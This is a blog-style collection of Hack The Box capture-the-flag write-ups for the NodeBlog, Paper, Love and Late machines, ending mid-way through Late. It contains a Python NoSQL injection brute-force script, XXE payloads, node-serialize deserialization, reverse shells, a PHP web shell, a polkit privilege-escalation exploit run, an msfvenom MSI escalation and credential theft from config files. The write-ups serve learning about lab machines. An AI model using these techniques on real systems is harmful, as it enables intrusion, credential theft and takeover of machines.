I’m tempted to quit penetration testing and become a full-stack MEAN developer. That way, when someone asks what I do for a living I can say “I make mean applications bro!”. Anyway, As can be seen below, the POST request sent to the login page looks typical of any other login POST request. According to IppSec (because I didn’t know this) we can change the content type to make it easier to attack.
The image below shows the modified post request where the content type has been changed to ‘application/json’ and the body of the request has been formatted accordingly. Things are starting to make much more sense to me now. No training or exam has explained this to me before, it’s always been about attacking LAMP applications. As you can see, two things have changed. The content type and the structure of the body. However, the request is still processed correctly. Amazing.
What we can also do is send it a malformed request and get it to return information about the file structure. As shown below, by adding another speech mark to “user” we can return the structure of the application. This will come in handy later. This is also a really good technique to know.
NodeBlog NoSQL/Mongo Injection
The snippet of code below looks alien to me, that isn’t SQL injection. That’s some crazy alien wizard language. Ok, no it isn’t but it is very different to the SQL injection attacks I’ve seen before. This is a whole new can of worms for me and I can’t wait to learn more. I’ve tried to indent the syntax properly but the code block on here isn’t great. Anyway, by sending the following POST request to the application, we get logged in. This is called type confusion.
Unfortunately, I’m still learning parseltongue and It is at this part in the video where IppSec starts crafting a new magic spell in the form of a Python brute-forcing script. I don’t know yet whether this is required for completing the box as we’ve already logged in. However, if it is required then I already know that I wouldn’t have been able to complete this box. I call myself a Slytherin yet I can’t speak parseltongue, I’m such a failure. I’ve recreated the script exactly how he made so all credit is to IppSec. Please go watch his video for a full explanation.
def login(pw): payload = '{ "$regex": "%s" }' % pw data = { "user":"admin", "password": json.loads(payload)} r = requests.post("http://10.129.239.132:5000/login", json=data) if "Invalid Password" in r.text: return False
return True
password = '^' stop = False while stop == False: for i in string.ascii_letters: sys.stdout.write(f"\r{password}{i}") if login (f"{password}{i}"): password += i if login(f"{password}$"): sys.stdout.write(f"\r{password}\r\n") sys.stdout.flush() stop = True break
Running the script successfully brute forces the password using the MongoDB injection.
We can now log in as the admin user with that password. As you can see below, we now have access to a few more features. We can edit and delete posts and we also have an upload feature. It is now becoming apparent just how important it is to identify the technologies in use before attacking a web application. Burp is great but if you’re just performing scans against the application, you probably won’t find much.
Identifying NodeBlog XML Entity Injection
Having an upload feature creates an attack vector if the upload feature doesn’t properly validate things. It could allow you to upload web shells to the server resulting in console access. After attempting to upload a generic text file we get an error explaining that it is an invalid XML file. We now know that the application only accepts XML.
If we head back to Burp and look at the response from the NodeBlog, it gives us the exact template that it wants us to use. I presume that this was coded to help the user and isn’t a generic error message. However, it makes sense for developers to do this in order to help their users understand the format.
If we grab the template above and paste it to our own XML file and upload it, the application will then start creating the blog for us with the data provided. Now that we know the format we need to use, let’s head on over to PayloadAllTheThings and find an XML entity injection payload and try to upload it. The payload below injects “Haxez was here!” into the ‘example’ entity.
<!--?xml version="1.0" ?--><!DOCTYPE replace [<!ENTITY example "Haxez was here!"> ]><post><title>Example Post</title><description>&example; </description><markdown>Example Markdown</markdown></post>
Exploiting NodeBlog XML Entity Injection
I thought I was starting to properly understand XML entity injection but then the following payload twisted my brain a bit. I thought that the entity was defined by the server but it seems that we can just make up our own entities. Initially, we were using the ‘example’ entity which I thought the server provided, but now we’re using the ‘test’ entity which the server definitely didn’t provide.
So what did we actually do in the previous example? it seems like we just added text to an input box. I’m sure it’s because of the method that we used to do that which makes it vulnerable. I need to study this area more. Anyway, the payload below injects the ‘/etc/passwd’ file into the description because of magic I guess.
Unfortunatly, Medium doesn’t like the code even when inside the code block so an image will have to do.
So what can we do now that we have XXE? remember earlier when we sent a malformed packet which revealed the directories of the application? Well, now we can use that information to retrieve the contents of the application files. The payload below retrieves the file ‘server.js’. However, this file could have other names too such as ‘app.js’ and ‘main.js’. The important part is we know the file path. We can play guess who with the filename.
Exploiting Node-Serialize
We can see from the list of imported modules (is ‘imported’ the right term?) that the application is using the ‘node-serialize’ module. Version 0.0.4 of the ‘node-serialize’ module has a “bug” in the ‘unserialize’ function that allows for remote code execution. The snippet below shows that the ‘unserialize’ function is being used to ‘serialize’ the cookie. With this knowledge, we should be able to create a payload and trigger it through our cookie.
--snip-- const serialize = require('node-serialize') --snip-- --snip-- function authenticated(c) { if (typeof c == 'undefined') return false
First, capture an authenticated ‘GET’ request to the root page and send it to the repeater. Next, URL decode the cookie by highlighting it and pressing ‘CTRL, SHIFT + U’. This will allow us to modify it so that we can perform our remote code execution. Using the information found on this site >>HERE<< we can craft a payload to check this vulnerability. The payload below will send 4 ping requests to my host.
We can then set up ‘tcpdump’ to listen on tun0 for ICMP packets. We need to URL encode our payload before we send it by highlighting the cookie value and selecting URL encode all characters. Then we can click send and we start getting ICMP packets hitting our host.
┌──(kali㉿kali)-[~] └─$ sudo tcpdump -ni tun0 icmp tcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes 11:37:47.840352 IP 10.129.239.132 > 10.10.14.126: ICMP echo request, id 1, seq 60, length 64 11:37:47.840382 IP 10.10.14.126 > 10.129.239.132: ICMP echo reply, id 1, seq 60, length 64 11:37:48.841281 IP 10.129.239.132 > 10.10.14.126: ICMP echo request, id 1, seq 61, length 64 11:37:48.841323 IP 10.10.14.126 > 10.129.239.132: ICMP echo reply, id 1, seq 61, length 64 11:37:49.843018 IP 10.129.239.132 > 10.10.14.126: ICMP echo request, id 1, seq 62, length 64 11:37:49.843041 IP 10.10.14.126 > 10.129.239.132: ICMP echo reply, id 1, seq 62, length 64 11:37:50.845548 IP 10.129.239.132 > 10.10.14.126: ICMP echo request, id 1, seq 63, length 64 11:37:50.845575 IP 10.10.14.126 > 10.129.239.132: ICMP echo reply, id 1, seq 63, length 64
NodeBlog Foothold
We now have a proof of concept for code execution so let’s use it to get a reverse shell. First, we need our reverse shell but since we’re going to send it as a request, we should play it safe and encode it with base64.
The final payload should look like the payload below. However, you will need to URL encode all the characters. Don’t forget to start your netcat listener before sending the request.
┌──(kali㉿kali)-[~] └─$ sudo nc -lvnp 9001 listening on [any] 9001 ... connect to [10.10.14.126] from (UNKNOWN) [10.129.239.132] 43210 bash: cannot set terminal process group (858): Inappropriate ioctl for device bash: no job control in this shell To run a command as administrator (user "root"), use "sudo <command>". See "man sudo_root" for details.
I am getting some odd error messages about not being able to access the .bashrc file though. Maybe I have messed up the payload. I hope that upgrading our shell will fix it so let’s do that first.
admin@nodeblog:/opt/blog$ python3 -c 'import pty;pty.spawn("/bin/bash")' python3 -c 'import pty;pty.spawn("/bin/bash")' To run a command as administrator (user "root"), use "sudo <command>". See "man sudo_root" for details.
┌──(kali㉿kali)-[~] └─$ stty raw -echo; fg [1] + continued sudo nc -lvnp 9001 admin@nodeblog:/opt/blog$
NodeBlog Privilege Escalation
We already have the password for this user as we were able to brute-force it with Python. However, if we didn’t have it we could have pillaged it another way. You can run ‘mongodump’ from ‘/dev/shm’ and it will dump the mongo database.
admin@nodeblog:/opt/blog$ sudo -l sudo -l [sudo] password for admin: IppsecSaysPleaseSubscribe Matching Defaults entries for admin on nodeblog: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User admin may run the following commands on nodeblog: (ALL) ALL (ALL : ALL) ALL admin@nodeblog:/opt/blog$ sudo su sudo su root@nodeblog:/opt/blog# cat /home/admin/user.txt cat /home/admin/user.txt 4b7▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓8b37 root@nodeblog:/opt/blog# cat /root/root.txt cat /root/root.txt 964▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓01b
NodeBlog Review
I’m rather tired after this one. I started this at 8:00 am and it is now lunchtime. What do I want to say about this box? I enjoyed NodeBlog but I definitely struggled with it and have lots of questions. Knowing hardly anything about the MEAN stack before starting this box made it harder, but now I feel a bit more equipped to take on more challenges. IppSec’s video does a great job of explaining this box and why it’s vulnerable and now so many things about the MEAN stack make sense to me. I found this box difficult and wouldn’t have had a clue without the walkthrough. That is entirely down to my lack of knowledge. At least now I know the things to look out for when attacking applications built on the MEAN stack. Thanks for NodeBlog IppSec, it rocks!
Paper is a retired vulnerable Linux machine on Hack The Box created by secnigma. Hello world, welcome to haxez where today I will be attempting to hack the box named Paper. By the looks of it, the creator of this box enjoys The Office.
Paper Enumeration
As with all successful hacks, the first stage is to enumerate the system. We need to gather as much information about the system as possible. Information is the commodity of hacking and cybersecurity. The good guys try to protect it, the bad guys try to steal it. To start this information-gathering process, I used the tool Nmap to find out what services were running on the box.
┌──(kali㉿kali)-[~/Documents/Paper] └─$ sudo nmap -sC -sV -p- -A 10.129.136.31 -oA paper [sudo] password for kali: Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-22 06:59 GMT Nmap scan report for 10.129.136.31 Host is up (0.013s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.0 (protocol 2.0) | ssh-hostkey: | 2048 1005ea5056a600cb1c9c93df5f83e064 (RSA) | 256 588c821cc6632a83875c2f2b4f4dc379 (ECDSA) |_ 256 3178afd13bc42e9d604eeb5d03eca022 (ED25519) 80/tcp open http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9) | http-methods: |_ Potentially risky methods: TRACE |_http-title: HTTP Server Test Page powered by CentOS |_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28 |_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9 443/tcp open ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9) |_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28 | http-methods: |_ Potentially risky methods: TRACE |_http-title: HTTP Server Test Page powered by CentOS | ssl-cert: Subject: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US | Subject Alternative Name: DNS:localhost.localdomain | Not valid before: 2021-07-03T08:52:34 |_Not valid after: 2022-07-08T10:32:34 | tls-alpn: |_ http/1.1 |_ssl-date: TLS randomness does not represent time |_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9 No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.93%E=4%D=3/22%OT=22%CT=1%CU=30873%PV=Y%DS=2%DC=T%G=Y%TM=641AA77 OS:7%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)SEQ OS:(SP=100%GCD=1%ISR=108%TI=Z%CI=Z%TS=A)OPS(O1=M550ST11NW7%O2=M550ST11NW7%O OS:3=M550NNT11NW7%O4=M550ST11NW7%O5=M550ST11NW7%O6=M550ST11)WIN(W1=7120%W2= OS:7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=40%W=7210%O=M550NNSN OS:W7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%D OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O OS:=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C OS:D=S)
We can see from the output above that there are 3 ports open. Port 22 for SSH, port 80 for HTTP and port 443 for HTTPS (The encrypted version of HTTP). Visiting port 80 gives us a generic HTTP Server test page. I suspect that there isn’t much going on there but it does disclose a number of configuration file locations and that the host is CentOS.
We can come back to this later if needs be but let’s head over to port 443 and see what’s going on there. Ok, I was expecting some sort of redirect to happen but it’s the same page. I didn’t see anything in the Nmap scan that suggested a hostname. Furthermore, the certificate is for localhost.localdomain so I’m not sure what I’m supposed to see here.
Paper Interception
Using Burp Suite, we can intercept responses from the server which may give us more information about the host. Some headers like the server and powered by headers can tell us what the webserver version and utilised programming languages are. As you can see from the image below, there is an interesting header named ‘X-Backend-Server’ with the value of ‘office.paper’.
Let’s add that to our host file and see whether we can visit that like a URL. I wonder if there is a ‘.paper’ Top Level Domain name. It could be good for a news organisation like news.paper. Perhaps not.
┌──(kali㉿kali)-[~/Documents/Paper] └─$ echo "10.129.136.31 office.paper" | sudo tee -a /etc/hosts 10.129.136.31 office.paper
Interestingly, the HTTPS port remains to be a web server test page. However, the HTTP port now reveals a website for Blunder Tiffin. Poking around the website we can see that it appears to be a blog with posts coming from a user called Priosnmike. We should add that user to our notes as it may come into use in the future.
I can take a guess as to what Content Management System is being used for the blog. However, in order to do this properly we’re going to use the tool whatweb to identify what technologies are in place. As you can see from the output below, the web app is powered by WordPress.
┌──(kali㉿kali)-[~/Documents/Paper] └─$ whatweb http://office.paper/ http://office.paper/ [200 OK] Apache[2.4.37][mod_fcgid/2.3.9], Bootstrap[1,5.2.3], Country[RESERVED][ZZ], HTML5, HTTPServer[CentOS][Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9], IP[10.129.136.31], JQuery, MetaGenerator[WordPress 5.2.3], OpenSSL[1.1.1k], PHP[7.2.24], PoweredBy[WordPress,WordPress,], Script[text/javascript], Title[Blunder Tiffin Inc. – The best paper company in the electric-city Scranton!], UncommonHeaders[link,x-backend-server], WordPress[5.2.3], X-Backend[office.paper], X-Powered-By[PHP/7.2.24]
Finding Vulnerabilities
There are a number of ways you can identify vulnerabilities in WordPress. For example, you could find the version number in the page source somewhere and google vulnerabilities for that particular version. However, there is a tool that will do it for us provided you have an API key. Wp-scan is a great tool for finding WordPress vulnerabilities and as you can see below, it has found a great many.
We could poke at all the vulnerabilities 1 by 1 but let’s just head to the intended method. The vulnerability with the CVE designation CVE-2019–17671 lets an attacker view posts that haven’t been published yet. This could be embarrassing for an organisation, lord knows I have lots of unfinished and unpublished posts that I wouldn’t want anyone to see. Anyway, we can use this vulnerability to view unpublished posts by visiting the following URL.
http://office.paper/?static=1
Reading through the unpublished posts reveals another subdomain that we can add to our host’s file.
Rocket Chat
Adding the URL to our host file and visiting it in our browser reveals a Rocket Chat application. While we don’t have any credentials yet, let’s try signing up to see if we can access it. Sure enough, creating a user lets us log in to Rocket Chat and poke around. I need to stop for a moment just to say how awesome this box has been so far. The creator has done an incredible job of replicating the personality of The Office. It is actually very believable that this box was set up by the team from The Office.
Moving forward, we can see that none other than Dwight Schrute has set up a bot to be more productive. However, Dwight Schrute more like Dwight Noob amirite, seems to have created a vulnerability in doing so. As you can see from the image below, we can list files.
Paper Foothold
Now that we seem to have the ability to list directories and read files, let’s go after some credentials. Both WordPress and Rocket chat will have a database connection string file used to connect to their databases. If we can nab the password from one of those files, we might be able to use it to log in via SSH. If we ask recyclops to show us the following file, it will give us the password for the database. Furthermore, we can also find the users of the system by getting the /etc/passwd file. While your bot implementation wasn’t great, you do have excellent taste in video games Dwight. The password is ‘Queenofblad3s!23’ and we can see Dwight is an SSH user. He probably reuses passwords.
file ../hubot/.env
And just like that, we’re in and grab ourselves a fresh user flag. However, it doesn’t seem that Dwight has given himself sudo. That’s questionable.
┌──(kali㉿kali)-[~/Documents/Paper] └─$ ssh [email protected] The authenticity of host '10.129.136.31 (10.129.136.31)' can't be established. ED25519 key fingerprint is SHA256:9utZz963ewD/13oc9IYzRXf6sUEX4xOe/iUaMPTFInQ. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.129.136.31' (ED25519) to the list of known hosts. [email protected]'s password: Activate the web console with: systemctl enable --now cockpit.socket Last login: Tue Feb 1 09:14:33 2022 from 10.10.14.23 [dwight@paper ~]$ cat /home/dwight/user.txt 3b05▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓a25
Back To Enumerating
For each step forward we take we must go back to our first step and start enumerating again. As soon as we get a new level of access, enumerate! I downloaded a copy of LinPEAS locally and span up a python web server. I then used wget on the target system to download the file. Next, I gave it executable permissions and ran it.
┌──(kali㉿kali)-[~/Paper] └─$ sudo python3 -m http.server 80 [sudo] password for kali: Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
I’ve added the screenshot below for no other reason than to include the pea, it’s adorable and I will never not include them in my writeups.
Privilege Escalation
This is interesting, the official walkthrough and many other walkthroughs discuss CVE-2021–3560 Polkit Privilege Escalation. However, as you can see from the screenshot below, this did not show up in my LinPEAS results.
I decided to check the version of polkit bit querying the package manager and it does seem to be the vulnerable version as you can see from the output below. Furthermore, the GitHub page also explains that it has been tested with this version of Polkit and that it works.
What’s interesting is that it does add the user correctly but I’m unable to switch to that user once the exploit is complete. As you can see from the images below, the exploit runs and adds the user ‘haxez’ with the password ‘haxez’. I have confirmed that the user is added to /etc/passwd but was unable to switch to that user.
haxez:x:1006:1006:haxez:/home/haxez:/bin/bash
Was this the unintended method of PE and has since been patched? Has something else happened to the system that has stopped it from working? What if I’m never able to get the root flag for this box?
Never mind, it seems that there is a clean-up script which goes through and removes users. I think this was added on so that we could keep trying the exploit. Perhaps my timing was just awful and it was cleaning up right after I ran the exploit. Fortunately, the exploit finally worked (after many many attempts) and as you can see below we can now grab the root flag.
[dwight@paper tmp]$ su - secnigma Password: su: Authentication failure [dwight@paper tmp]$ bash poc.sh [!] Username set as : secnigma [!] No Custom Timing specified. [!] Timing will be detected Automatically [!] Force flag not set. [!] Vulnerability checking is ENABLED! [!] Starting Vulnerability Checks... [!] Checking distribution... [!] Detected Linux distribution as "centos" [!] Checking if Accountsservice and Gnome-Control-Center is installed [+] Accounts service and Gnome-Control-Center Installation Found!! [!] Checking if polkit version is vulnerable [+] Polkit version appears to be vulnerable!! [!] Starting exploit... [!] Inserting Username secnigma... Error org.freedesktop.Accounts.Error.PermissionDenied: Authentication is required [+] Inserted Username secnigma with UID 1005! [!] Inserting password hash... [!] It looks like the password insertion was succesful! [!] Try to login as the injected user using su - secnigma [!] When prompted for password, enter your password [!] If the username is inserted, but the login fails; try running the exploit again. [!] If the login was succesful,simply enter 'sudo bash' and drop into a root shell! [dwight@paper tmp]$ su - secnigma Password: [secnigma@paper ~]$ sudo su - [sudo] password for secnigma: [root@paper ~]# cat /root/root.txt 447▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓e6a
Paper Review
This was an absolutely phenomenal box in my opinion. It wasn’t too easy and it did a great job of carefully nudging you forward. This is what all easy boxes should be like in my opinion. Publicly known exploits that the user has to find. Unfortunately for whatever reason LinPEAS didn’t seem to find the vulnerability, I should have run other tools on it to see if they found it. I love how strongly this box was themed and I wish more boxes had stronger themes like this. I loved the web app challenges on Hack This Site for that very reason. Giving it a strong theme allows me to immerse myself in the challenge rather than just exploiting another box. I also enjoy anything with WordPress as I’ve used WordPress for many years and love finding out new quirks. Anyway, that’s all from me today, I’m going to submit my flags, give secnigma my respect and leave a nice review.
Love is an easy Windows box created by pwnmeow on Hack The Box and was released on the 1st of May 2021. Hello world, welcome to Haxez where today I will explain how I hacked Love. To hack this box is it recommended that you have Windows enumeration and web enumeration skills. From hacking this box, you will learn exploit modification, server-side request forgery, applocker policies, and always install everything misconfiguration.
Love Enumeration
After spawning the box, I sent a single ping request to ensure it was online. I then followed up with a Nmap scan targeting all ports, requesting service versions, and running default scripts. Finally, I gave it a minimum packet rate of 10000 and said to output all formats. From the results, I learnt that there were several ports open. This included various ports for HTTP, 445 for SMB, 3306 for MySQL, 5985 and 5986 for HTTPAPI or WinRM, the list goes on.
As SMB was listening, the first thing I did was run crackmapexec to enumerate shares and host information. From the results, I learnt that it was a Windows 10 Pro box with the hostname LOVE. The domain was also called Love which suggests the box is not a domain controller (as they have the same name). Furthermore, SMBv1 was enabled.
After poking SMB, I went to take a look at the web application. First, I visited the application in my browser and saw that it was a type of voting application. Next, I appended various extensions to the end of the index page. As a result, I learnt that the application was written in PHP.
Following that, I ran whatweb against the application and learnt that the PHP version was 7.3.27. Furthermore, I also learnt that the Apache version was 2.4.46 and that the application was using the Bootstrap framework.
I also ran a gobuster scan to try to identify any directories or files that would disclose sensitive information about the application. However, other than some 301 and 302 redirections and a bunch of 403 errors, I didn’t find much.
I decided to look at the other HTTP ports that were discovered during the Nmap scan. Therefore, I punched the IP address of the box into my browser and specified port 5000. Immediately, I received a Forbidden error. I shouldn’t have been surprised by this as Nmap displayed the forbidden error in the results.
Subdomains and Virtual Hosts
I revisited the results of the Nmap scan to choose which service to poke at next. It was then that I noticed the common name of the SSL certificate on port 443. Below, you can see the output from the Nmap scan showing the subdomain of staging.love.htb.
Immediately, I excitedly added the IP address and new subdomain to my host file. Surely this was the foothold that I’d been looking for. Finally, I found a weakness in this box’s armour! I entered the domain into my browser and…. Forbidden. Wow, talk about rejection.
┌──(kali㉿kali)-[~/HTB/Love] └─$ echo '10.129.48.103 staging.love.htb' | sudo tee -a /etc/hosts
However, visiting the subdomain via HTTP instead of HTTPS loaded a page. I poked around the application for a bit and noticed a demo page. In short, the demo page is a free file scanner that allows the user to submit a URL with a file for scanning.
Server-Side Request Forgery
I wanted to see if the demo page worked so I set up a netcat listener on my local machine. Next, I input the location of a file into the Scan File input box and sent the request. Sure enough, the application pulled the file down from my host and displayed the contents. Admittedly, my first thought was to try and get it to execute a payload by downloading it from my host. However, those attempts failed.
There is a Web Application vulnerability known as Server Side Request Forgery. In short, SSRF exploits the box’s own trust. Because the resource request is sent from the box itself, it may allow access to otherwise forbidden files. To illustrate, I input the loopback address of 127.0.0.1 followed by port 5000 into the URL box. This was the page I was previously unable to access. Upon sending the request, I received credentials.
Voting System Admin
With the username and password successfully stolen via SSRF, I headed back to the voting system by navigating to the IP address. Next, I supplied the stolen credentials and… they didn’t work. This is another one of those easy boxes which seems more difficult than it is because it takes so long.
Fortunately, I ran a gobuster earlier and remember seeing a 301 redirection from /admin to /admin/. This is where gobuster attempted to load a file called admin but was redirected to a directory called admin, likely containing a PHP file. Therefore, I headed to the admin directory and was able to log in with the credentials.
Love RCE POC
I noticed the Copyright disclaimer at the bottom of the page and decided to perform a Google search for the name SourceCodeStar. After a few Google searches, I stumbled upon several Exploit Database pages which suggested there was an authenticated remote code execution. Unfortunately, there didn’t appear to be a CVE number associated with it.
Admittedly, I wanted some guidance on this step so I am going to copy what IppSec did >>HERE<<. First, I navigated to the Voters menu option and clicked the New button. This spawned the window you see below. I populated the window with some test data and selected a jpeg file for the photo.
Next, I turned intercept on and clicked the save button. Burp successfully intercepted the request which I then modified. I changed the filename to “haxez.php” and then removed the jpeg data and replaced it with a PHP web shell.
Then, I navigated to the payload in my browser and passed the dir command to the cmd parameter. It successfully listed out the contents of the directory.
Love Foothold
Now that I had command execution, it was time to get on the box using a reverse shell. I downloaded nishang from >>HERE<< and copied the Invoke-PowerShellTcpOneLine.ps1 payload to my current working directory. Next, I opened the payload with VIM and changed the IP address and port to my tun0 IP address and port 9001.
Then, I sent my original directory listing request to Burp repeater and changed the request method to a POST. Next, I started a netcat listener and then added the following Payload to Burp and sent the request. I instantly received a 404 error. There must be a clean-up script on the box that is removing the payloads.
I quickly repeated the process by uploading a new command shell and executing the above payload. Finally, I got a reverse shell and had a foothold on the box. From here, I was able to grab the user flag from the phoebe users desktop directory.
┌──(kali㉿kali)-[~/HTB/Love] └─$ sudo nc -lvnp 9001 [sudo] password for kali: listening on [any] 9001 ... connect to [10.10.14.36] from (UNKNOWN) [10.129.48.103] 59730 PS C:\xampp\htdocs\omrs\images> whoami love\phoebe PS C:\xampp\htdocs\omrs\images> type C:\Users\phoebe\Desktop\user.txt d85▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓319
Love Privilege Escalation
After capturing the user flag, I download the latest version of the 64 bit obfuscated WinPEASS binary. Next, I spawn a Python3 web server and used cURL to download the binary to the target machine. Finally, I ran the executable and saw that the AlwaysInstallElevated value was set to 1 which I presume means it was enabled. Quoting directly from the HackTricks article “If these 2 registers are enabled (value is 0x1), then users of any privilege can install (execute) *.msi files as NT AUTHORITY\SYSTEM.”. Is this a useful setting to have as a sysadmin? it seems a bit odd.
With this knowledge, I went back to my Linux terminal and used msfvenom to create an MSI payload. The output below will create a Windows x64 reverse shell that connects back to my local host on port 9002. The file type is specified as an MSI file and I saved the output to payload.msi.
I set up a netcat listener to listen on port 9002 and then used cURL to download the payload from the Python web server I still had running. I specified the -o flag to save the payload as payload.msi.
Finally, I ran the payload and thankfully, I received a connection back to the netcat listener. I now had a reverse shell as the nt authority\system user and could finally capture the root flag.
──(kali㉿kali)-[~/HTB/Love] └─$ sudo nc -lvnp 9002 [sudo] password for kali: listening on [any] 9002 ... connect to [10.10.14.36] from (UNKNOWN) [10.129.48.103] 59734 Microsoft Windows [Version 10.0.19042.867] (c) 2020 Microsoft Corporation. All rights reserved. C:\WINDOWS\system32>type \users\administrator\desktop\root.txt type \users\administrator\desktop\root.txt 64b▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓95f
Love Learnings
Love requires patience… the initial enumeration stage of this box took longer than I had hoped. It felt like I was jumping through hoops but it taught me valuable lessons about enumeration. It’s one of those boxes that seemed difficult due to the level of enumeration required to get a foothold, but the actual exploit is easy. Furthermore, it does a great job of demonstrating Server Side Request Forgery which I hadn’t really done before.
The privilege escalation was a lot of fun and fairly simple to pull off. I didn’t know about this method of privilege escalation until today so I’ve learnt that too. Overall it’s a fun box but it definitely tested my patience at times. My initial PHP shell just up and vanished so I had to upload that again before getting my reverse shell. For me, it was educational and taught me new techniques which is what I want from an easy box. Thanks for the box.
Hello world, welcome to haxez. It’s time for another Hack The Box machine write up and this time we’re looking at Late. This machine has an interesting foothold which I’m looking forward to doing. I haven’t read up too much about it but let us give it a go.
Late Enumeration
As you can see from the Nmap results below, we have port 22 for SSH and port 80 for HTTP open. SSH is unlikely to be the foothold as we have port 80 looking at us. From the banners, we can see that it’s using Nginx and that the title of the application is Best online image tools.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/Late] └──╼ [★]$ sudo nmap -sC -sV -A -p- 10.129.227.134 -oA late [sudo] password for haxez: Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-16 07:54 GMT Nmap scan report for 10.129.227.134 Host is up (0.013s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 025e290ea3af4e729da4fe0dcb5d8307 (RSA) | 256 41e1fe03a5c797c4d51677f3410ce9fb (ECDSA) |_ 256 28394698171e461a1ea1ab3b9a577048 (ED25519) 80/tcp open http nginx 1.14.0 (Ubuntu) |_http-server-header: nginx/1.14.0 (Ubuntu) |_http-title: Late - Best online image tools Device type: general purpose Running: Linux 5.X OS CPE: cpe:/o:linux:linux_kernel:5.0 OS details: Linux 5.0 Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 53/tcp) HOP RTT ADDRESS 1 11.84 ms 10.10.14.1 2 13.02 ms 10.129.227.134 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 19.80 seconds
The Application
As you can see from the screenshot below, the application was basic and didn’t have much to interact with. However, there was a link on the page to the “late free online photo editor”.
Clicking this link redirects you to ‘http://images.late.htb’ which doesn’t load because it isn’t in our host file. So, we need to add this to our host file so that the DNS resolves correctly. Then, we will be able to see the application.
┌─[eu-dedivip-1]─[10.10.14.126]─[haxez@parrot]─[~/Late] └──╼ [★]$ echo '10.129.227.134 images.late.htb' | sudo tee -a /etc/hosts 10.129.227.134 images.late.htb
The application now loads and appears to provide an image-converting tool. More specifically, it seems to be an OCR tool in that it converts images of text to text. OCR, or Optical Character Recognition, is a technology that enables the conversion of scanned images into digital text. OCR software works by analyzing the shapes and patterns of characters and converting them into machine-readable text. One additional note, the application proudly claims it is using Flask.
Late Foodhold
Since the application is using Flask, it is likely using templates to build the application. Wouldn’t it be extremely cool if we could submit an image of a Server Side Template Injection (SSTI). Then when the application converts the image to text, it executes the code and gives us remote code execution. Using notepad and a screenshot tool we can create images and upload them to test this proof of concept. The image below is the image I used.
I saved the file but Windows gave it a ‘.PNG’ extension and the application doesn’t like it. I used my terminal to move it to a new file with a ‘.png’ extension. As you can see below, the application processes it and produces a text file with the answer to the sum.
Time to try something a bit more complicated, let’s see if we can return the values of the ID command. First, we create and export the image containing the payload which I stole from HackTricks. Unfortunately, it seems that a lot of fonts make double underscores look like one line. This could cause problems with the character recognition software.
I have been doing this for what seems like an eternity, ok not quite. However, this really is a tedious process. It doesn’t teach me anything, it is just trial and error and I don’t really like this type of challenge. I tried using the script in the official walkthrough but that didn’t work. I have gone through multiple payloads as you can see below.
The problem seems to be with it messing up a single character. For example, a lot of the time it would miss an underscore where the text made two look like one line. You can see from the one below that it is changing the tick to a single speech mark. This one is frustrating.
This results in me getting errors and more errors.
Time to head over to Youtube and see how the Wizard solved it.
Standing On The Shoulders Of Giants
I’d eventually had enough and snipped the payload from IppSec’s video. It looked exactly the same as mine. I even did it in Comic Sans but I still couldn’t get it to work. I will put them below and you can decide what the difference is. You can tell which one is from IppSec’s video because it still has the purple clip from Flame Shot.
I have to be honest, if the margin for error is so small that two almost identical images get processed differently then I have to say that this is a bit stupid. Rant over. It finally worked and I was able to get ID. However, since it would only process the one from the Youtube video, I have a feeling I’m going to struggle when it comes to getting a shell.
Better Late Than Never
